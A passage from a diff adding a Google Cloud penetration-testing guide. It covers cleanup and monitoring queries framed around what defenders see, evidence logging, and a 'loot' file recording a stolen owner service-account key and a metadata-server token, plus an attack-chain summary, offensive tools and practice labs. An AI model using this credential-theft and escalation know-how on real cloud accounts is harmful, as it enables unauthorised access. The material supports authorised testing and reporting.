gcloud iam service-accounts keys delete KEY_ID \
|
|
862
|
+
--iam-account=SA_EMAIL
|
|
863
|
+
```
|
|
864
|
+
|
|
865
|
+
### 7.3 Monitoring Queries (Know What Defenders See)
|
|
866
|
+
|
|
867
|
+
```bash
|
|
868
|
+
# What Security Command Center shows:
|
|
869
|
+
gcloud scc findings list \
|
|
870
|
+
--organization=ORG_ID \
|
|
871
|
+
--filter="state=ACTIVE AND category=PUBLIC_BUCKET_ACL"
|
|
872
|
+
|
|
873
|
+
# Log query defenders would run to detect you (Log Explorer):
|
|
874
|
+
# resource.type="service_account"
|
|
875
|
+
# protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey"
|
|
876
|
+
# protoPayload.authenticationInfo.principalEmail != "expected@project.iam.gserviceaccount.com"
|
|
877
|
+
```
|
|
878
|
+
|
|
879
|
+
---
|
|
880
|
+
|
|
881
|
+
## 8. Output and Documentation Instructions
|
|
882
|
+
|
|
883
|
+
### 8.1 Evidence Collection
|
|
884
|
+
|
|
885
|
+
```bash
|
|
886
|
+
# Create engagement directory
|
|
887
|
+
mkdir -p /tmp/gcp-engagement/{loot,evidence,screenshots,notes}
|
|
888
|
+
|
|
889
|
+
# Capture IAM state at start and end
|
|
890
|
+
gcloud projects get-iam-policy $PROJECT_ID --format=json \
|
|
891
|
+
> /tmp/gcp-engagement/evidence/iam-before.json
|
|
892
|
+
|
|
893
|
+
# Log all gcloud commands with timestamps
|
|
894
|
+
exec > >(tee -a /tmp/gcp-engagement/evidence/command-log.txt) 2>&1
|
|
895
|
+
echo "=== Session Start: $(date -u) ==="
|
|
896
|
+
|
|
897
|
+
# Save all discovered credentials with context
|
|
898
|
+
cat > /tmp/gcp-engagement/loot/credentials.md << 'EOF'
|
|
899
|
+
## Discovered Credentials
|
|
900
|
+
|
|
901
|
+
### SA Key — terraform@prod
|
|
902
|
+
- Source: GCS bucket gs://targetcorp-backup/terraform/default.tfstate
|
|
903
|
+
- Permissions: roles/owner on prod-project
|
|
904
|
+
- Key file: /tmp/gcp-engagement/loot/terraform-sa.json
|
|
905
|
+
- Discovery time: 2026-05-31T10:23:00Z
|
|
906
|
+
|
|
907
|
+
### Access Token — GCE VM metadata
|
|
908
|
+
- Source: 169.254.169.254 on compromised VM web-server-01
|
|
909
|
+
- SA: app-service@prod-project.iam.gserviceaccount.com
|
|
910
|
+
- Expires: 3600s from retrieval
|
|
911
|
+
- Scopes: https://www.googleapis.com/auth/cloud-platform
|
|
912
|
+
EOF
|
|
913
|
+
|
|
914
|
+
# Screenshot cloud console evidence
|
|
915
|
+
# Use browser + developer tools to capture API responses as evidence
|
|
916
|
+
|
|
917
|
+
# Document attack chain
|
|
918
|
+
cat > /tmp/gcp-engagement/notes/attack-chain.md << 'EOF'
|
|
919
|
+
## Attack Chain
|
|
920
|
+
|
|
921
|
+
1. Initial Access: RCE on web-server-01 via CVE-XXXX
|
|
922
|
+
2. Credential Access: Metadata server token theft (app-service SA)
|
|
923
|
+
3. Discovery: IAM enumeration across 12 projects
|
|
924
|
+
4. Privilege Escalation: SA key creation for terraform SA
|
|
925
|
+
5. Impact: Org admin access achieved
|
|
926
|
+
EOF
|
|
927
|
+
```
|
|
928
|
+
|
|
929
|
+
### 8.2 Report Artifacts
|
|
930
|
+
|
|
931
|
+
Collect the following for the final report:
|
|
932
|
+
|
|
933
|
+
- IAM policy JSON for affected projects
|
|
934
|
+
- List of all Service Accounts and their key counts
|
|
935
|
+
- Evidence of public bucket access (curl output with timestamps)
|
|
936
|
+
- Screenshots of Secret Manager content accessed
|
|
937
|
+
- Command log with timestamps showing full attack chain
|
|
938
|
+
- List of all cleanup actions performed
|
|
939
|
+
|
|
940
|
+
---
|
|
941
|
+
|
|
942
|
+
## 9. Resources
|
|
943
|
+
|
|
944
|
+
### Official Documentation
|
|
945
|
+
|
|
946
|
+
- GCP IAM Overview: https://cloud.google.com/iam/docs/overview
|
|
947
|
+
- GCP Audit Logs: https://cloud.google.com/logging/docs/audit
|
|
948
|
+
- Workload Identity Federation: https://cloud.google.com/iam/docs/workload-identity-federation
|
|
949
|
+
- Metadata Server: https://cloud.google.com/compute/docs/metadata/overview
|
|
950
|
+
- Organization Policy: https://cloud.google.com/resource-manager/docs/organization-policy/overview
|
|
951
|
+
|
|
952
|
+
### Offensive Research and Tools
|
|
953
|
+
|
|
954
|
+
- GCP IAM Privilege Escalation (Rhino Security): https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
|
|
955
|
+
- GCP Privilege Escalation Methods (blog): https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
|
|
956
|
+
- CloudFox: https://github.com/BishopFox/cloudfox
|
|
957
|
+
- GCPhound: https://github.com/dalmarcogd/gcphound
|
|
958
|
+
- ScoutSuite: https://github.com/nccgroup/ScoutSuite
|
|
959
|
+
- Hayat — GCP red team scripts: https://github.com/DenizParlak/hayat
|
|
960
|
+
- GCP Scanner: https://github.com/google/gcp_scanner
|
|
961
|
+
- Awesome GCP Pentesting: https://github.com/Littlehack3r/awesome-gcp-pentesting
|
|
962
|
+
- TerraformGoat — vulnerable GCP lab: https://github.com/HXSecurity/TerraformGoat
|
|
963
|
+
- GCP Goat — intentionally vulnerable GCP: https://github.com/JOSHUAJEBARAJ/GCP-GOAT
|
|
964
|
+
|
|
965
|
+
### Vulnerability Research and Write-ups
|
|
966
|
+
|
|
967
|
+
- Workload Identity Federation Attacks: https://github.com/dhammon/WorkloadIdentityFederation-Attacks
|
|
968
|
+
- Google Cloud Penetration Testing: https://github.com/serain/gcp-pentesting
|
|
969
|
+
- IAM Vulnerable — attack/defense lab: https://github.com/BishopFox/iam-vulnerable
|
|
970
|
+
|
|
971
|
+
### OSINT and Bucket Discovery
|
|
972
|
+
|
|
973
|
+
- GrayhatWarfare (public bucket search): https://buckets.grayhatwarfare.com
|
|
974
|
+
- Bucket Finder: https://github.com/mattweidner/bucket_finder
|
|
975
|
+
- S3Scanner (supports GCS): https://github.com/sa7mon/S3Scanner
|
|
976
|
+
|
|
977
|
+
### CTF and Lab Practice
|
|
978
|
+
|
|
979
|
+
- flaws2.cloud (AWS focused but concepts apply): http://flaws2.cloud
|
|
980
|
+
- HackTricks GCP: https://cloud.hacktricks.wiki/pentesting-cloud/gcp-security
|
|
981
|
+
- Thunder CTF (GCP-specific): https://thunder-ctf.cloud
|